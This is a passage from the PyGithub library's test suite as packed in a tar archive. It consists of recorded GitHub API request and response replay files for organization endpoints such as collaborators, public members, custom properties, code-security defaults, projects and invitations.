'6BED:76E5:D6F66:1B439F:649C87BE')] https DELETE api.github.com None /orgs/tecnoly/actions/variables/variable_name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:27 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4903'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '97'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '60E5:796C:F6B59:1F4388:649C87BF')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testOutsideCollaborators.txt0000644000175100001660000000702514756101563026431 0ustar00runnerdockerhttps GET api.github.com None /users/octocat {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4960'), ('content-length', '598'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"75740284d989e9a492e32f435cff48ac"'), ('date', 'Sat, 16 Apr 2018 20:23:33 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","public_gists":19,"url":"https://api.github.com/users/octocat","hireable":false,"bio":null,"company":"Github","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","login":"octocat","blog":"http://blog.github.com","email":"info@github.com","public_repos":62,"followers":299,"name":"Octocat","created_at":"2009-05-12T21:19:38Z","location":"Netherlands","avatar_url":"","id":83844,"following":41,"html_url":"https://github.com/nvie"} https PUT api.github.com None /orgs/BeaverSoftware/outside_collaborators/octocat {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4992'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 12:47:52 GMT')] https GET api.github.com None /orgs/BeaverSoftware/outside_collaborators {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '175'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f7f3d1eaa1c0d14d590b09dbb439db2e"'), ('date', 'Sun, 28 Feb 2017 09:51:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"login": "octocat","id": 1,"avatar_url": "https://github.com/images/error/octocat_happy.gif","gravatar_id": "","url": "https://api.github.com/users/octocat","html_url": "https://github.com/octocat","followers_url": "https://api.github.com/users/octocat/followers","following_url": "https://api.github.com/users/octocat/following{/other_user}","gists_url": "https://api.github.com/users/octocat/gists{/gist_id}","starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url": "https://api.github.com/users/octocat/subscriptions","organizations_url": "https://api.github.com/users/octocat/orgs","repos_url": "https://api.github.com/users/octocat/repos","events_url": "https://api.github.com/users/octocat/events{/privacy}","received_events_url": "https://api.github.com/users/octocat/received_events","type": "User","site_admin": false}] https DELETE api.github.com None /orgs/BeaverSoftware/outside_collaborators/octocat {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4992'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 12:47:52 GMT')] https GET api.github.com None /orgs/BeaverSoftware/outside_collaborators {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '175'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f7f3d1eaa1c0d14d590b09dbb439db2e"'), ('date', 'Sun, 28 Feb 2017 09:51:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testPublicMembers.txt0000644000175100001660000000634114756101563025017 0ustar00runnerdockerhttps GET api.github.com None /users/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '554'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5d4e2c6e9715d64a46d9ebe6d7d460eb"'), ('date', 'Sun, 27 May 2012 05:06:42 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","public_gists":0,"url":"https://api.github.com/users/Lyloa","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_repos":0,"hireable":false,"bio":null,"company":null,"blog":null,"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","login":"Lyloa","email":"nyu@lyloa.net","followers":1,"name":"Lyloa","created_at":"2011-10-16T14:36:46Z","location":"Paris","id":1131432,"following":0,"html_url":"https://github.com/Lyloa"} https GET api.github.com None /orgs/BeaverSoftware/public_members/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4995'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sun, 27 May 2012 05:06:43 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} https PUT api.github.com None /orgs/BeaverSoftware/public_members/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 05:06:43 GMT')] https GET api.github.com None /orgs/BeaverSoftware/public_members/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4993'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 05:06:44 GMT')] https DELETE api.github.com None /orgs/BeaverSoftware/public_members/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4992'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 05:06:44 GMT')] https GET api.github.com None /orgs/BeaverSoftware/public_members/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4991'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sun, 27 May 2012 05:06:45 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testRemoveCustomProperty.txt0000644000175100001660000000611714756101563026464 0ustar00runnerdockerhttps DELETE api.github.com None /orgs/BeaverSoftware/properties/schema/property_1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Sat, 01 Jun 2024 07:48:40 GMT'), ('github-authentication-token-expiration', '2024-06-08 02:45:21 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'organization_custom_properties=admin'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4863'), ('X-RateLimit-Reset', '1717228808'), ('X-RateLimit-Used', '137'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C0OP:9CEOMD:IWG8B5:KRYM7K:C7R0QBUG')] https GET api.github.com None /orgs/BeaverSoftware/properties/schema/property_1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Sat, 01 Jun 2024 07:48:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('github-authentication-token-expiration', '2024-06-08 02:45:21 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'organization_custom_properties=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4862'), ('X-RateLimit-Reset', '1717228808'), ('X-RateLimit-Used', '138'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CKA9:TRENBZ:J9SO0F:XVXBKD:IH67CQF3')] {"message":"Not Found","documentation_url":"https://docs.github.com/rest/orgs/custom-properties#get-a-custom-property-for-an-organization"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization.testSetDefaultCodeSecurityConfig.txt0000644000175100001660000001323214756101563027774 0ustar00runnerdockerhttps PUT api.github.com None /orgs/BeaverSoftware/code-security/configurations/17/defaults {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"default_for_new_repos": "all"} 200 [('Date', 'Wed, 11 Dec 2024 06:28:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e8ede71c8e21be8d5e9969da5e6cf96b25e4a111066016c3c6f55196f46edede"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, write:org'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1733901073'), ('X-RateLimit-Used', '31'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '2009:345DF0:4B1169:950D33:67593116'), ('Server', 'github.com')] {"default_for_new_repos":"all","configuration":{"id":17,"target_type":"global","name":"GitHub recommended","description":"Suggested settings for Dependabot, secret scanning, and code scanning.","advanced_security":"enabled","dependency_graph":"enabled","dependency_graph_autosubmit_action":"not_set","dependency_graph_autosubmit_action_options":{"labeled_runners":false},"dependabot_alerts":"enabled","dependabot_security_updates":"not_set","code_scanning_default_setup":"enabled","code_scanning_default_setup_options":null,"secret_scanning":"enabled","secret_scanning_push_protection":"enabled","secret_scanning_delegated_bypass":"not_set","secret_scanning_non_provider_patterns":"enabled","enforcement":"unenforced","url":"https://api.github.com/orgs/BeaverSoftware/code-security/configurations/17","html_url":"https://github.com/organizations/BeaverSoftware/settings/security_products/configurations/view/17","created_at":"2023-12-04T15:58:07Z","updated_at":"2024-10-18T05:46:31Z","private_vulnerability_reporting":"enabled","secret_scanning_validity_checks":"enabled"}} https GET api.github.com None /orgs/BeaverSoftware/code-security/configurations/defaults {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 11 Dec 2024 06:28:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"534be78a9c8049dab2393d78314a803e083912757826ca733467f31dba21499b"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, repo'), ('X-Accepted-OAuth-Scopes', 'admin:org, write:org'), ('github-authentication-token-expiration', '2025-01-09 05:04:04 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4968'), ('X-RateLimit-Reset', '1733901073'), ('X-RateLimit-Used', '32'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '200A:1701B2:4521F5:89271C:67593116'), ('Server', 'github.com')] [{"default_for_new_repos":"all","configuration":{"id":17,"target_type":"global","name":"GitHub recommended","description":"Suggested settings for Dependabot, secret scanning, and code scanning.","advanced_security":"enabled","dependency_graph":"enabled","dependency_graph_autosubmit_action":"not_set","dependency_graph_autosubmit_action_options":{"labeled_runners":false},"dependabot_alerts":"enabled","dependabot_security_updates":"not_set","code_scanning_default_setup":"enabled","code_scanning_default_setup_options":null,"secret_scanning":"enabled","secret_scanning_push_protection":"enabled","secret_scanning_delegated_bypass":"not_set","secret_scanning_non_provider_patterns":"enabled","enforcement":"unenforced","url":"https://api.github.com/orgs/BeaverSoftware/code-security/configurations/17","html_url":"https://github.com/organizations/BeaverSoftware/settings/security_products/configurations/view/17","created_at":"2023-12-04T15:58:07Z","updated_at":"2024-10-18T05:46:31Z","private_vulnerability_reporting":"enabled","secret_scanning_validity_checks":"enabled"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization1437.setUp.txt0000644000175100001660000000526514756101563023011 0ustar00runnerdockerhttps GET api.github.com None /orgs/PyGithubSampleOrg {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 15 Mar 2020 16:30:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1584292656'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5a44b3584cfbb71e5ae99df123138fc5"'), ('Last-Modified', 'Sun, 15 Mar 2020 16:23:28 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D02B:0E77:6CA8B4:899B24:5E6E583B')] {"login":"PyGithubSampleOrg","id":62213331,"node_id":"MDEyOk9yZ2FuaXphdGlvbjYyMjEzMzMx","url":"https://api.github.com/orgs/PyGithubSampleOrg","repos_url":"https://api.github.com/orgs/PyGithubSampleOrg/repos","events_url":"https://api.github.com/orgs/PyGithubSampleOrg/events","hooks_url":"https://api.github.com/orgs/PyGithubSampleOrg/hooks","issues_url":"https://api.github.com/orgs/PyGithubSampleOrg/issues","members_url":"https://api.github.com/orgs/PyGithubSampleOrg/members{/member}","public_members_url":"https://api.github.com/orgs/PyGithubSampleOrg/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/62213331?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":0,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/PyGithubSampleOrg","created_at":"2020-03-15T16:23:28Z","updated_at":"2020-03-15T16:23:28Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":0,"collaborators":0,"billing_email":"bansalanuj1996@gmail.com","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":false,"plan":{"name":"free","space":976562499,"private_repos":0,"filled_seats":1,"seats":0}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization1437.testCreateProject.txt0000644000175100001660000000564614756101563025346 0ustar00runnerdockerhttps POST api.github.com None /orgs/PyGithubSampleOrg/projects {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "Project title", "body": "This is the body"} 201 [('Date', 'Sun, 15 Mar 2020 16:30:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1409'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1584292656'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"facd2116232591d58f7efd4c226d71d2"'), ('Location', 'https://api.github.com/projects/4115694'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '611A:7C7D:699325:86F5B8:5E6E583B')] {"owner_url":"https://api.github.com/orgs/PyGithubSampleOrg","url":"https://api.github.com/projects/4115694","html_url":"https://github.com/orgs/PyGithubSampleOrg/projects/1","columns_url":"https://api.github.com/projects/4115694/columns","id":4115694,"node_id":"MDc6UHJvamVjdDQxMTU2OTQ=","name":"Project title","body":"This is the body","number":1,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars0.githubusercontent.com/u/7795956?u=69331080d94f26f4e465cbc5437167637ae324f1&v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-15T16:30:52Z","updated_at":"2020-03-15T16:30:52Z","organization_permission":"write","private":true} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization2072.setUp.txt0000644000175100001660000000642614756101563023005 0ustar00runnerdockerhttps GET api.github.com None /orgs/TestOrganization2072 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 12 Oct 2021 05:32:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0e8e9cdb8a79214111e22bae109cc8cd2ad163242dd751ce30d501009b7776d6"'), ('Last-Modified', 'Mon, 11 Oct 2021 05:17:24 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:org_hook'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2021-10-18 05:11:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1634019426'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ADB2:4907:F9EF7D:10E5C1E:61651DEF')] {"login":"TestOrganization2072","id":92288976,"node_id":"O_kgDOBYA30A","url":"https://api.github.com/orgs/TestOrganization2072","repos_url":"https://api.github.com/orgs/TestOrganization2072/repos","events_url":"https://api.github.com/orgs/TestOrganization2072/events","hooks_url":"https://api.github.com/orgs/TestOrganization2072/hooks","issues_url":"https://api.github.com/orgs/TestOrganization2072/issues","members_url":"https://api.github.com/orgs/TestOrganization2072/members{/member}","public_members_url":"https://api.github.com/orgs/TestOrganization2072/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/92288976?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":0,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/TestOrganization2072","created_at":"2021-10-11T05:17:24Z","updated_at":"2021-10-11T05:17:24Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":0,"collaborators":0,"billing_email":"james@snowterminal.com","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":false,"members_allowed_repository_creation_type":"all","members_can_create_public_repositories":true,"members_can_create_private_repositories":true,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"free","space":976562499,"private_repos":10000,"filled_seats":1,"seats":0}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Organization2072.testCancelInvitation.txt0000644000175100001660000002726614756101563026044 0ustar00runnerdockerhttps GET api.github.com None /orgs/TestOrganization2072/invitations {'Accept': 'application/vnd.github.dazzler-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 12 Oct 2021 05:32:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5c630c6c596d65b5a9953f65c07259ecf58c131e8ee0a60fee72772cfee9ca50"'), ('X-OAuth-Scopes', 'admin:org, admin:org_hook'), ('X-Accepted-OAuth-Scopes', 'admin:org, repo'), ('github-authentication-token-expiration', '2021-10-18 05:11:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=dazzler-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1634019426'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), 